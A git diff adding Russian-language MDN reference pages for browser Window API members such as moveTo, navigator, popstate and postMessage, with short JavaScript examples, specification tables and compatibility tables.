Этот пример перемещает окно на 10 пикселей вправо и на 10 пикселей вверх.

+ +
function budge() {
+  moveBy(10, -10);
+}
+ +

Спецификация

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('CSSOM View', '#dom-window-moveby', 'window.moveBy()') }}{{ Spec2('CSSOM View') }}
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.Window.moveBy")}}

+ +

Начиная с Firefox 7 сайты не могут перемещать окно в следующих случаях:

+ +
    +
  1. Вы не можете переместить окно или вкладку, которое было создано не с помощью{{domxref("Window.open()")}}.
    2. +
  2. Вы не можете переместить окно или вкладку, когда окно имеет более одной вкладки.
    3. +
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/window/moveto/index.html b/files/ru/web/api/window/moveto/index.html new file mode 100644 index 0000000000..dd3bcf219c --- /dev/null +++ b/files/ru/web/api/window/moveto/index.html @@ -0,0 +1,73 @@ +--- +title: Window.moveTo() +slug: Web/API/Window/moveTo +translation_of: Web/API/Window/moveTo +--- +
{{APIRef}}
+ +
Метод  moveTo() интерфейса {{domxref("Window")}} перемещает текущее окно в указанные координаты.
+ +
+

Примечание: Эта функция перемещает окно к абсолютному положению. В свою очередь, {{domxref("window.moveBy()")}} перемещает окно относительно текущего положения.

+
+ +

Синтаксис

+ +
window.moveTo(x, y)
+
+ +

Параметры

+ + + +

Пример

+ +

Этот пример перемещает окно в левый верхний угол экрана.

+ +
function origin() {
+  window.moveTo(0, 0);
+}
+ +
    +
+ +

Спецификация

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSSOM View', '#dom-window-moveto', 'window.moveTo()') }}{{ Spec2('CSSOM View') }}Изначальное определение
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.Window.moveTo")}}

+ +

Начиная с Firefox 7 сайты не могут перемещать окно в следующих случаях:

+ +
    +
  1. Вы не можете переместить окно или вкладку, которое было создано не с помощью {{domxref("Window.open()")}}.
    2. +
  2. Вы не можете переместить окно или вкладку, когда окно имеет более одной вкладки.
    3. +
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/window/mozanimationstarttime/index.html b/files/ru/web/api/window/mozanimationstarttime/index.html new file mode 100644 index 0000000000..372a07f62e --- /dev/null +++ b/files/ru/web/api/window/mozanimationstarttime/index.html @@ -0,0 +1,46 @@ +--- +title: Window.mozAnimationStartTime +slug: Web/API/Window/mozAnimationStartTime +tags: + - >- + API HTML DOM NeedsExample NeedsMarkupWork NeedsSpecTable Property + Reference Window +translation_of: Web/API/Window/mozAnimationStartTime +--- +

{{ APIRef() }}

+ +

{{ gecko_minversion_header("2.0") }}{{ non-standard_header() }}

+ +

Summary

+ +

Возвращает время в миллисекундах с начала эпохи UNIX, начиная с которого анимации, начавшиеся в определенный момент, должны быть сочтены уже начавшимися. Это значение должно быть использовано вместо, например, Date.now(), потому что оно будет тем же самым для анимаций, начавшихся в этом окне в течение этого интервала, позволяя им синхронизироваться между собой.

+ +

Это также позволяет анимациям JavaScript оставаться синхронизированными с CSS переходами и SMIL анимациями, запущенными в течение того же интервала обновления.

+ +

Syntax

+ +
time = window.mozAnimationStartTime;
+
+ +

Parameters

+ + + +

Specification

+ +

Not part of specification.

+ +

Browser compatibility

+ + + +

{{Compat("api.Window.mozAnimationStartTime")}}

+ +

See also

+ + diff --git a/files/ru/web/api/window/name/index.html b/files/ru/web/api/window/name/index.html new file mode 100644 index 0000000000..aac0fc4f6b --- /dev/null +++ b/files/ru/web/api/window/name/index.html @@ -0,0 +1,29 @@ +--- +title: Window.name +slug: Web/API/Window/name +translation_of: Web/API/Window/name +--- +
{{APIRef}}
+ +

Описание

+ +

Свойство name может использоваться для установки и получения имени текущего окна. Оно становится доступным после его создания.

+ +

Синтаксис

+ +
// получение значения
+string = window.name;
+// установка значения
+window.name = string;
+
+ +

Пример

+ +
window.name = "lab_view";
+
+ +

Замечания

+ +

Имя окна используется, в основном, для задания свойства target гиперссылок и форм.

+ +

Также оно может использоваться в фреймворках для предоставления кросс-доменного обмена сообщениями (например, SessionVars и dojox.io.windowName из Dojo) как более безопасная альтернатива JSONP.

diff --git a/files/ru/web/api/window/navigator/index.html b/files/ru/web/api/window/navigator/index.html new file mode 100644 index 0000000000..6a3ba2fcc7 --- /dev/null +++ b/files/ru/web/api/window/navigator/index.html @@ -0,0 +1,90 @@ +--- +title: Window.navigator +slug: Web/API/Window/navigator +tags: + - API + - HTML DOM + - Navigator + - Window +translation_of: Web/API/Window/navigator +--- +
{{APIRef}}
+ +

Window.navigator является свойством только для чтения и возвращает ссылку на объект {{domxref("Navigator")}}, который может запросить информацию о приложении, запустившем скрипт.

+ +

Синтаксис

+ +
navigatorObject = window.navigator
+ +

Примеры

+ +

Пример #1: Распознаётся браузер и возвращается строкой

+ +
var sBrowser, sUsrAg = navigator.userAgent;
+
+//The order matters here, and this may report false positives for unlisted browsers.
+
+if (sUsrAg.indexOf("Firefox") > -1) {
+     sBrowser = "Mozilla Firefox";
+     //"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0"
+} else if (sUsrAg.indexOf("Opera") > -1) {
+     sBrowser = "Opera";
+} else if (sUsrAg.indexOf("Trident") > -1) {
+     sBrowser = "Microsoft Internet Explorer";
+     //"Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Zoom 3.6.0; wbx 1.0.0; rv:11.0) like Gecko"
+} else if (sUsrAg.indexOf("Edge") > -1) {
+     sBrowser = "Microsoft Edge";
+     //"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299"
+} else if (sUsrAg.indexOf("Chrome") > -1) {
+    sBrowser = "Google Chrome or Chromium";
+    //"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/66.0.3359.181 Chrome/66.0.3359.181 Safari/537.36"
+} else if (sUsrAg.indexOf("Safari") > -1) {
+    sBrowser = "Apple Safari";
+    //"Mozilla/5.0 (iPhone; CPU iPhone OS 11_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 980x1306"
+} else {
+    sBrowser = "unknown";
+}
+
+alert("You are using: " + sBrowser);
+
+ +

Пример #2: Распознаётся браузер и возвращается его индекс

+ +
function getBrowserId () {
+
+    var
+        aKeys = ["MSIE", "Firefox", "Safari", "Chrome", "Opera"],
+        sUsrAg = navigator.userAgent, nIdx = aKeys.length - 1;
+
+    for (nIdx; nIdx > -1 && sUsrAg.indexOf(aKeys[nIdx]) === -1; nIdx--);
+
+    return nIdx
+
+}
+
+console.log(getBrowserId());
+ +

Спецификация

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-navigator', 'Window: navigator')}}{{Spec2('HTML WHATWG')}} 
+ +

Совместимые браузеры

+ + + +

{{Compat("api.Window.navigator")}}

diff --git a/files/ru/web/api/window/ondeviceorientation/index.html b/files/ru/web/api/window/ondeviceorientation/index.html new file mode 100644 index 0000000000..c9bde836d9 --- /dev/null +++ b/files/ru/web/api/window/ondeviceorientation/index.html @@ -0,0 +1,53 @@ +--- +title: Window.ondeviceorientation +slug: Web/API/Window/ondeviceorientation +tags: + - API + - Мобильные устройства + - Ориентация + - Ориентация устройства + - Свойства +translation_of: Web/API/Window/ondeviceorientation +--- +

{{ ApiRef() }}

+ +

Кратко

+ +

Обработчик события {{event('deviceorientation')}}, который содержит информацию об изменении относительной ориентации устройства.

+ +

Синтаксис

+ +
window.ondeviceorientation = function(event) { ... };
+window.addEventListener('deviceorientation', function(event) { ... });
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Device Orientation')}}{{Spec2('Device Orientation')}}Начальная спецификация.
+ +

Совместимость с браузерами

+ +

{{ page("/en-US/docs/Web/API/DeviceOrientationEvent","Browser_compatibility") }}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/window/ongamepadconnected/index.html b/files/ru/web/api/window/ongamepadconnected/index.html new file mode 100644 index 0000000000..683e6d2af8 --- /dev/null +++ b/files/ru/web/api/window/ongamepadconnected/index.html @@ -0,0 +1,52 @@ +--- +title: Window.ongamepadconnected +slug: Web/API/Window/ongamepadconnected +translation_of: Web/API/Window/ongamepadconnected +--- +
{{DefaultAPISidebar("Gamepad API")}}{{SeeCompatTable}}
+ +

Свойство ongamepadconnected интерфейса {{domxref("Window")}} представляет собой обработчик, который будет запущен при подключении геймпада (когда событие  {{event('gamepadconnected')}} запустится).

+ +

Тип объекта события - {{domxref("GamepadEvent")}}.

+ +

Синтаксис

+ +
window.ongamepadconnected = function() { ... };
+
+ +

Пример

+ +
window.ongamepadconnected = function(event) {
+  // All buttons and axes values can be accessed through
+  event.gamepad;
+};
+ +

Спецификация

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Gamepad', '#event-gamepadconnected', 'gamepadconnected event')}}{{Spec2('Gamepad')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.Window.ongamepadconnected")}}

+ +

См. также

+ + diff --git a/files/ru/web/api/window/ongamepaddisconnected/index.html b/files/ru/web/api/window/ongamepaddisconnected/index.html new file mode 100644 index 0000000000..c8ca962cb4 --- /dev/null +++ b/files/ru/web/api/window/ongamepaddisconnected/index.html @@ -0,0 +1,51 @@ +--- +title: Window.ongamepaddisconnected +slug: Web/API/Window/ongamepaddisconnected +translation_of: Web/API/Window/ongamepaddisconnected +--- +
{{DefaultAPISidebar("Gamepad API")}}{{SeeCompatTable}}
+ +

Свойство ongamepaddisconnected интерфейса {{domxref("Window")}} представляет собой обработчик события, который будет вызван при отключении геймпада (когда сработает событие {{event('gamepaddisconnected')}}).

+ +

Тип объекта события {{domxref("GamepadEvent")}}.

+ +

Синтаксис

+ +
window.ongamepaddisconnected = function() { ... };
+
+ +

Пример

+ +
window.ongamepaddisconnected = function() {
+  // A gamepad has been disconnected
+};
+ +

Спецификация

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Gamepad', '#event-gamepaddisconnected', 'gamepaddisconnected event')}}{{Spec2('Gamepad')}}Initial definition
+ +

Браузерная совместимость

+ + + +

{{Compat("api.Window.ongamepaddisconnected")}}

+ +

См. также

+ + diff --git a/files/ru/web/api/window/onpaint/index.html b/files/ru/web/api/window/onpaint/index.html new file mode 100644 index 0000000000..efa6d5761e --- /dev/null +++ b/files/ru/web/api/window/onpaint/index.html @@ -0,0 +1,31 @@ +--- +title: Window.onpaint +slug: Web/API/Window/onpaint +translation_of: Web/API/Window/onpaint +--- +

{{ ApiRef() }}

+ +

{{Non-standard_header}}

+ +

Обзор

+ +

Обработчик события paint для объекта window. На текущий момент не работает в приложениях основанных на движке Gecko. См. секцию Замечания!

+ +

Синтаксис

+ +
window.onpaint =funcRef;
+
+ + + +

Замечания

+ +

Событие onpaint на текущий момен не реализовано, и дата её реализации неизвестна, см. {{ Bug(239074) }}.

+ +

Событие paint срабатывает в момент рендеринга window. Данное событие срабатывает после события window - load, и срабатывает каждый раз когда сраница перерисовывается. что бывает когда другое окно перекрывает текущее - а потом исчезает.

+ +

Спецификации

+ +

Не является частью какой-либо спецификации.

diff --git a/files/ru/web/api/window/pageyoffset/index.html b/files/ru/web/api/window/pageyoffset/index.html new file mode 100644 index 0000000000..edac7ff6d3 --- /dev/null +++ b/files/ru/web/api/window/pageyoffset/index.html @@ -0,0 +1,166 @@ +--- +title: Window.pageYOffset +slug: Web/API/Window/pageYOffset +tags: + - прокрутка + - скролл +translation_of: Web/API/Window/pageYOffset +--- +
{{ APIRef("CSSOM View") }} 
+ +

pageYOffset - свойство окна {{domxref("Window")}} , доступное только для чтения. Это то же свойство, что и {{domxref("Window.scrollY", "scrollY")}} и, как таковое, оно тоже возвращает количество пикселей, на которое прокручен документ по вертикали (вниз или вверх). Значение свойства равное 0.0 говорит о том, что в данный момент верхний край документа {{domxref("Document")}} совпадает с верхним краем области содержимого окна.

+ + + +
+ +

Есть незначительная разница в поддержке pageYOffset и scrollY, первый поддерживается лучше в старых браузерах, но если не затрагивать очень старые версии, то использовать можно любое свойство. Они идентичны.

+ +

Соответствующее свойство {{domxref("Window.pageXOffset", "pageXOffset")}}, которое возвращает количество пикселей, на которое документ прокручен по горизонтали, это то же самое, что и {{domxref("Window.scrollX", "scrollX")}}.

+ +

Синтаксис

+ +
yOffset = window.pageYOffset;
+
+ +

Значение

+ +

Количество пикселей, на которое документ {{domxref("Document")}} прокручен вертикально в рамках окна {{domxref("Window")}}, выражено числом с плавающей запятой. Оно рассчитывается с субпиксельной точностью и, таким образом, не обязательно будет целым числом. Значение равное 0.0 означает, что вертикальная прокрутка еще не была совершена, и верхний край документа сейчас соответствует верхнему краю области содержимого окна.

+ +

Т.к. данное свойство соответствует {{domxref("Window.scrollY")}}, обратитесь к его описанию за более детальной информацией о значении и использовании.

+ +

Пример

+ + + +

В данном примере создается элемент {{HTMLElement("iframe")}}, и задается его содержимое, затем определенный элемент этого документа прокручивается в область рамки. Как только это произошло, выясняется положение вертикальной прокрутки с помощью значения pageYOffset  у элемента {{domxref("HTMLIFrameElement.contentWindow", "contentWindow")}} в рамке.

+ +

HTML

+ +

HTML предельно прост и состоит из двух элементов: {{HTMLElement("iframe")}}, содержащий документ, который мы будем прокручивать, и {{HTMLElement("div")}}, в который мы выведем значение свойства pageYOffset по окончании прокрутки.

+ +
<iframe id="frame">
+</iframe>
+
+<div id="info">
+</div>
+ +

JavaScript

+ +
var frame = document.getElementById("frame");
+var frameDoc = frame.contentDocument;
+var info = document.getElementById("info");
+
+var target = frameDoc.getElementById("overview");
+frameDoc.scrollingElement.scrollTop = target.offsetTop;
+
+info.innerText = "Y offset after scrolling: " +
+                 frame.contentWindow.pageYOffset + " pixels";
+ +

Код JavaScript начинается с записи в переменные frame and info элементов <iframe>, содержащего наш документ, и элемента <div> , в который мы запишем результат проверки положения прокрутки. Затем мы получаем ссылку на элемент из нашего документа, который сразу должен быть прокручен до видимой области рамки, с помощью команды {{domxref("Document.getElementById", "getElementById()")}} у {{domxref("HTMLIFrameElement.contentDocument")}} рамки.

+ +

Имея целевой элемент, мы устанавлиеваем {{domxref("Element.scrollTop", "scrollTop")}} {{domxref("Document.scrollingElement", "scrollingElement")}} рамки от свойства {{domxref("Element.offsetTop", "offsetTop")}} целевого элемента. Тем самым мы настраиваем положение вертикальной прокрутки документа рамки таким образом, чтобы оно было таким же как и у верхнего края целевого элемента.

+ +

При этом автоматически установится максимально возможное значение у позиции прокрутки при попытке прокрутить дальше конца документа. Это предотвратит выход за границы документа. Никто не хочет знать, что там. Там могут быть драконы. 

+ + + +

Результат

+ +

Результат ниже. Обратите внимание на то, что содержимое документа уже прокручено до секции, под названием "Overview", а свойствоpageYOffset имеет соответствующее значение.

+ +

{{EmbedLiveSample("Пример", 650, 500)}}

+ +

Спецификация

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('CSSOM View', '#dom-window-pageyoffset', 'window.pageYOffset') }}{{ Spec2('CSSOM View') }}
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.Window.pageYOffset")}}

+ +

См. также

+ + diff --git a/files/ru/web/api/window/parent/index.html b/files/ru/web/api/window/parent/index.html new file mode 100644 index 0000000000..86c28a2e05 --- /dev/null +++ b/files/ru/web/api/window/parent/index.html @@ -0,0 +1,46 @@ +--- +title: Window.parent +slug: Web/API/Window/parent +tags: + - API + - HTML DOM + - NeedsCompatTable + - NeedsExample + - NeedsMarkupWork + - NeedsSpecTable + - Property + - Reference + - Window +translation_of: Web/API/Window/parent +--- +

{{APIRef}}

+ +

Ссылка на родительский объект window или родительский iframe.

+ +

Если у объекта window нет родителя, то свойство parent данного объекта будет ссылаться на сам объект.

+ +

Если window загружен внутри {{htmlelement("iframe")}}, {{htmlelement("object")}}, или {{htmlelement("frame")}}, то его parent - это объект window с элементом содержащим данный window.

+ +

Синтакс

+ +
parentWindow = window.parent;
+
+ +

Пример

+ +
if (window.parent != window.top) {
+  // мы находимся глубже чем один уровень
+}
+ +

Спецификация

+ + + +

Смотрите также

+ + diff --git a/files/ru/web/api/window/performance/index.html b/files/ru/web/api/window/performance/index.html new file mode 100644 index 0000000000..39e11ecbf8 --- /dev/null +++ b/files/ru/web/api/window/performance/index.html @@ -0,0 +1,48 @@ +--- +title: Window.performance +slug: Web/API/Window/performance +translation_of: Web/API/Window/performance +--- +
{{APIREf}}
+ +

The Web Performance API allows web pages access to certain functions for measuring the performance of web pages and web applications, including the Navigation Timing API and high-resolution time data.

+ +

Methods

+ +
+
{{domxref("Performance.mark()", "performance.mark()")}}
+
Maps a {{domxref("DOMHighResTimeStamp")}} to a specified name representing the amount of milliseconds elapsed since a reference instant.
+
+ +
+
{{domxref("Performance.now()", "performance.now()")}}
+
Возвращает {{domxref("DOMHighResTimeStamp")}} представляющий количество миллисекунд прошедшее с момента отсчета.
+
measure()
+
This method stores the DOMHighResTimeStamp duration between two marks along with the associated name (a "measure").
+
getEntriesByType()
+
 
+
getEntriesByType()
+
 
+
getEntriesByName()
+
 
+
clearMarks()
+
+

If the markName argument is not specified, this method removes all marks and their associated DOMHighResTimeStamp time values.

+ +

If the markName argument is specified, this method removes all DOMHighResTimeStamp time values for the given mark name.

+ +

If the markName argument is specified but the specified markName does not exist, this method will do nothing.
+  

+
+
+ +

Properties

+ +
+
{{domxref("Performance.timing", "performance.timing")}}
+
Is a {{domxref("PerformanceTiming")}} object containing latency-related performance information.
+
{{domxref("Performance.navigation", "performance.navigation")}}
+
Is a {{domxref("PerformanceNavigation")}} object representing the type of navigation that occurs in the given browsing context, like the amount of redirections needed to fetch the resource.
+
performance.memory
+
A non-standard extension added in Chrome.
+
diff --git a/files/ru/web/api/window/popstate_event/index.html b/files/ru/web/api/window/popstate_event/index.html new file mode 100644 index 0000000000..65c7ef6a93 --- /dev/null +++ b/files/ru/web/api/window/popstate_event/index.html @@ -0,0 +1,155 @@ +--- +title: popstate +slug: Web/API/Window/popstate_event +translation_of: Web/API/Window/popstate_event +--- +

Событие popstate вызывается, когда изменяется активная запись истории. Если изменение записи истории было вызвано методом history.pushState() или history.replaceState(), то состояние события popstate будет содержать state копии входящего в историю объекта

+ +

Обратите внимание,  history.pushState() или history.replaceState() не вызывают событие popstate. Событие popstate будет вызвано при совершении действий в браузере, таких как нажатие кнопок "Вперед" или "Назад" (или при вызове history.back() или history.forward() из JavaScript).

+ +

Браузеры работают с  событием popstate по разному. Chrome (prior to v34) и Safari всегда вызывают popstate по окончании загрузки страницы, а Firefox не делает этого.

+ +

General info

+ +
+
Specification
+
HTML5
+
Interface
+
PopStateEvent
+
Bubbles
+
Yes
+
Cancelable
+
No
+
Target
+
defaultView
+
Default Action
+
None
+
+ +

Properties

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The browsing context (window).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
state {{readonlyInline}}anyThe current history entry's state object (if any).
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("2")}}10.0 [3]{{CompatVersionUnknown}}{{CompatVersionUnknown}}[1]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support3.0[2]{{CompatVersionUnknown}}{{CompatGeckoMobile("2")}}10.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}[1]
+
+ +

[1] The implementation has limited support.

+ +

[2] The implementation in Android 2.2 and 2.3 was buggy.

+ +

[3] IE & Edge do not fire the popstate event when the URL's hash value changes, see the bug report.

+ +

Example

+ +

A page at http://example.com/example.html running the following code will generate logs as indicated:

+ +
window.onpopstate = function(event) {
+  console.log("location: " + document.location + ", state: " + JSON.stringify(event.state));
+};
+history.pushState({page: 1}, "title 1", "?page=1");
+history.pushState({page: 2}, "title 2", "?page=2");
+history.replaceState({page: 3}, "title 3", "?page=3");
+history.back(); // Logs "location: http://example.com/example.html?page=1, state: {"page":1}"
+history.back(); // Logs "location: http://example.com/example.html, state: null
+history.go(2);  // Logs "location: http://example.com/example.html?page=3, state: {"page":3}
+
+ +

Note that even though the original history entry (for http://example.com/example.html) has no state object associated with it, a popstate event is still fired when we activate that entry after the second call to history.back().

+ + + + + +

See Also

+ + diff --git a/files/ru/web/api/window/postmessage/index.html b/files/ru/web/api/window/postmessage/index.html new file mode 100644 index 0000000000..785e8fe108 --- /dev/null +++ b/files/ru/web/api/window/postmessage/index.html @@ -0,0 +1,245 @@ +--- +title: Window.postMessage() +slug: Web/API/Window/postMessage +translation_of: Web/API/Window/postMessage +--- +
{{ApiRef("HTML DOM")}}
+ +

Window.postMessage() - этот метод позволяет безопасно отправлять кроссдоменные запросы. Обычно сценариям на разных страницах разрешен доступ друг к другу только если страницы, которые их выполняли, передаются по одному  протоколу (обычно это https), номер порта (443 — по умолчанию для https) и хост (modulo {{domxref("Document.domain")}} установленный страницами на одно и тоже значение). window.postMessage() предоставляет контролируемый механизм, чтобы обойти это ограничение способом, который безопасен при правильном использовании.

+ +

При вызове метода window.postMessage() он вызывает {{domxref("MessageEvent")}} для отправки в целевом окне, когда завершается любой ожидающий сценарий, который должен быть выполнен (например, оставшиеся обработчики событий, если window.postMessage() вызвается из обработчика событий ранее заданных ожидающих таймаутов). {{domxref("MessageEvent")}} имеет тип  message, data-свойство которого устанавливает значение первого аргумента в методе window.postMessage(), свойство origin  соотвествует адресу основного документа в вызове window.postMessage во время  вызова window.postMessage(), свойство source указывает на окно, из которого window.postMessage() вызвали. (Другие стандартные свойства событий имеют ожидаемые значения)

+ +

Syntax

+ +
otherWindow.postMessage(message, targetOrigin, [transfer]);
+ +
+
otherWindow
+
Ссылка на другое окно; такая ссылка может быть получена, к примеру, при использовании свойства contentWindow элемента iframe , объекта, возвращаемого window.open, или по именованному и числовому индексу {{domxref("Window.frames")}}, если вы пытаетесь запустить сообщение из iframe в родительском окне, то родитель также является действительной ссылкой.
+
message
+
Данные, которые нужно отправить в другое окно. Данные сериализуются с использованием алгоритма структурированного клона. Это означает, что вы можете безопасно передавать большое количество объектов данных в окно назначения без необходимости их сериализации. [1]
+
targetOrigin
+
Specifies what the origin of otherWindow must be for the event to be dispatched, either as the literal string "*" (indicating no preference) or as a URI. If at the time the event is scheduled to be dispatched the scheme, hostname, or port of otherWindow's document does not match that provided in targetOrigin, the event will not be dispatched; only if all three match will the event be dispatched. This mechanism provides control over where messages are sent; for example, if postMessage() was used to transmit a password, it would be absolutely critical that this argument be a URI whose origin is the same as the intended receiver of the message containing the password, to prevent interception of the password by a malicious third party. Always provide a specific targetOrigin, not *, if you know where the other window's document should be located. Failing to provide a specific target discloses the data you send to any interested malicious site.
+
transfer {{optional_Inline}}
+
Is a sequence of {{domxref("Transferable")}} objects that are transferred with the message. The ownership of these objects is given to the destination side and they are no longer usable on the sending side.
+
+ +

The dispatched event

+ +

В otherWindow отправляемые сообщения могут быть прослушаны следующим способом:

+ +
window.addEventListener("message", receiveMessage, false);
+
+function receiveMessage(event)
+{
+  if (event.origin !== "http://example.org:8080")
+    return;
+
+  // ...
+}
+
+ +

Свойства отправляемых сообщений:

+ +
+
data
+
Объект, переданный из другого окна.
+
origin
+
The origin of the window that sent the message at the time postMessage was called. This string is the concatenation of the protocol and "://", the host name if one exists, and ":" followed by a port number if a port is present and differs from the default port for the given protocol. Examples of typical origins are https://example.org (implying port 443), http://example.net (implying port 80), and http://example.com:8080. Note that this origin is not guaranteed to be the current or future origin of that window, which might have been navigated to a different location since postMessage was called.
+
source
+
Ссылка на объект window , который отправил сообщение; может быть использована для установки двустороннего соединения между окнами с разными origins.
+
+ +

Вопросы безопасности

+ +

Если вы не ожидаете получения сообщения от других сайтов, не добавляйте никаких слушателей для message событий. Это гарантированный способ избежать проблем с безопасностью.

+ +

Если же вы хотите получать сообщения от других сайтов, то всегда необходимо идентифицировать отправителя, используя origin и возможно source свойства. Любой сайт (включая, например, http://evil.example.com) может отправлять сообщения любым другим, и у вас нет гарантии, что неизвестный отправитель не пошлет вредоносные сообщения. Однако даже если отправитель известен, вам все равно необходимо всегда подтверждать синтаксис получаемого сообщения. Иначе, дыра в безопасности сайта, которому вы доверяете, может открыть дыру для межсайтового скриптинга на вашем сайте.

+ +

Всегда конкретизируйте целевой первоисточник, а не просто *, когда вы используете postMessage для отправки данных другим окнам. Вредоносный сайт может изменить локацию окна без вашего ведома и затем перехватить данные, посылаемые с использованием postMessage.

+ +

Example

+ +
/*
+ * In window A's scripts, with A being on <http://example.com:8080>:
+ */
+
+var popup = window.open(...popup details...);
+
+// When the popup has fully loaded, if not blocked by a popup blocker:
+
+// This does nothing, assuming the window hasn't changed its location.
+popup.postMessage("The user is 'bob' and the password is 'secret'",
+                  "https://secure.example.net");
+
+// This will successfully queue a message to be sent to the popup, assuming
+// the window hasn't changed its location.
+popup.postMessage("hello there!", "http://example.com");
+
+function receiveMessage(event)
+{
+  // Do we trust the sender of this message?  (might be
+  // different from what we originally opened, for example).
+  if (event.origin !== "http://example.com")
+    return;
+
+  // event.source is popup
+  // event.data is "hi there yourself!  the secret response is: rheeeeet!"
+}
+window.addEventListener("message", receiveMessage, false);
+
+ +
/*
+ * In the popup's scripts, running on <http://example.com>:
+ */
+
+// Called sometime after postMessage is called
+function receiveMessage(event)
+{
+  // Do we trust the sender of this message?
+  if (event.origin !== "http://example.com:8080")
+    return;
+
+  // event.source is window.opener
+  // event.data is "hello there!"
+
+  // Assuming you've verified the origin of the received message (which
+  // you must do in any case), a convenient idiom for replying to a
+  // message is to call postMessage on event.source and provide
+  // event.origin as the targetOrigin.
+  event.source.postMessage("hi there yourself!  the secret response " +
+                           "is: rheeeeet!",
+                           event.origin);
+}
+
+window.addEventListener("message", receiveMessage, false);
+
+ +

Notes

+ +

Any window may access this method on any other window, at any time, regardless of the location of the document in the window, to send it a message. Consequently, any event listener used to receive messages must first check the identity of the sender of the message, using the origin and possibly source properties. This cannot be overstated: Failure to check the origin and possibly source properties enables cross-site scripting attacks.

+ +

As with any asynchronously-dispatched script (timeouts, user-generated events), it is not possible for the caller of postMessage to detect when an event handler listening for events sent by postMessage throws an exception.

+ +

The value of the origin property of the dispatched event is not affected by the current value of document.domain in the calling window.

+ +

For IDN host names only, the value of the origin property is not consistently Unicode or punycode; for greatest compatibility check for both the IDN and punycode values when using this property if you expect messages from IDN sites. This value will eventually be consistently IDN, but for now you should handle both IDN and punycode forms.

+ +

The value of the origin property when the sending window contains a javascript: or data: URL is the origin of the script that loaded the URL.

+ +

Using window.postMessage in extensions {{Non-standard_inline}}

+ +

window.postMessage is available to JavaScript running in chrome code (e.g., in extensions and privileged code), but the source property of the dispatched event is always null as a security restriction. (The other properties have their expected values.) The targetOrigin argument for a message sent to a window located at a chrome: URL is currently misinterpreted such that the only value which will result in a message being sent is "*". Since this value is unsafe when the target window can be navigated elsewhere by a malicious site, it is recommended that postMessage not be used to communicate with chrome: pages for now; use a different method (such as a query string when the window is opened) to communicate with chrome windows. Lastly, posting a message to a page at a file: URL currently requires that the targetOrigin argument be "*". file:// cannot be used as a security restriction; this restriction may be modified in the future.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#dom-window-postmessage", "window.postMessage")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName('HTML5 Web Messaging')}}
{{SpecName('HTML5 Web Messaging', '#dom-window-postmessage', 'window.postMessage')}}{{Spec2('HTML5 Web Messaging')}}Initial definition.
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support1.0{{CompatVersionUnknown}}{{CompatGeckoDesktop(6.0)}}[1]
+ {{CompatGeckoDesktop(8.0)}}[2]		8.0[3]
+ 10.0[4]		9.54.0
transfer argument{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(20.0)}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(6.0)}}[1]
+ {{CompatGeckoDesktop(8.0)}}[2]		{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
transfer argument{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile(20.0)}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Prior to Gecko 6.0 {{geckoRelease("6.0")}}, the message parameter must be a string. Starting in Gecko 6.0 {{geckoRelease("6.0")}}, the message parameter is serialized using the structured clone algorithm. This means you can pass a broad variety of data objects safely to the destination window without having to serialize them yourself.

+ +

[2] Gecko 8.0 introduced support for sending {{domxref("File")}} and {{domxref("FileList")}} objects between windows. This is only allowed if the recipient's principal is contained within the sender's principal for security reasons.

+ +

